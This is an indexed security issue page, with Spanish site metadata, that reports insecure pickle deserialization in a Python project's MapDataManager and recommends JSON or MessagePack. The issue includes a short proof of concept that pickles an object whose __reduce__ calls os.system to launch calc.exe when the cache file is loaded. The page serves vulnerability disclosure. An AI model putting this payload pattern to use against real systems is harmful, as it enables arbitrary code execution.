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Insecure Deserialization Vulnerability in DataManager

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Evaluación

Dificultad
5/5
Tiempo estimado
Más de una semana
Aptitud para principiantes
30/100
Tipo de issue
Error
Claridad
Bastante claro
Estado de actividad
Estancado
Stack tecnológico
python
Área
backend, security

Línea de trabajo

Empieza por localizar MapDataManager y la llamada a pickle.load; después, sigue cómo get_data_manager y factory.py crean y leen data_map.txt. Revisa el formato de la caché y las pruebas existentes antes de elegir un reemplazo seguro. Se considera terminado cuando los datos almacenados en caché se pueden cargar sin ejecutar código arbitrario y el comportamiento de carga relevante está cubierto por pruebas.

Escrito por el modelo de indexación a partir del texto del issue.

Descripción

Hi,

I've discovered a critical vulnerability in the MapDataManager class where pickle.load is used to deserialize cached data from a file. The use of pickle is inherently unsafe as it can execute arbitrary Python code during deserialization. This poses a significant risk, such as enabling remote code execution (RCE) by deserializing malicious objects.

PoC

Below is a simple PoC for this issue, I also attach a picture with 'dir' payload for your reference.


import pickle
import os
from modelcache.manager import get_data_manager

# Malicious class that executes arbitrary code when deserialized
class Exploit:
    def __reduce__(self):
        return (os.system, ('calc.exe',))  # calc.exe for windows

malicious_payload = pickle.dumps(Exploit())

with open("data_map.txt", "wb") as f: #Using data_map.txt like in factory.py
    f.write(malicious_payload)

# Simulate loading the malicious cache file
data_manager = get_data_manager(data_path="data_map.txt", max_size=1000)

While the example Flask application uses SQLite as the cache base, similar risks could arise if user-controlled data is cached into the database and subsequently deserialized.

Recommendation

To mitigate this issue, I strongly recommend avoiding pickle for serialization. Safer alternatives like JSON or MessagePack should be used, as they do not allow code execution.

Thanks.

Image

Lenguaje dominante
Python
Estrellas
932
Forks
68
Sin PR fusionados en 30 d

Preparar el entorno

  • Incluye un Dockerfile o un archivo de Docker Compose
  • Sin plantilla de pull request
  • Sin guía de contribución

Primeros pasos

  1. Lee el issue completo y luego la guía de contribución del proyecto.
  2. Comenta en el issue que vas a ocuparte — evita que dos personas hagan lo mismo.
  3. Haz un fork del repositorio y trabaja en una rama.
  4. Abre un pull request que haga referencia al número del issue.

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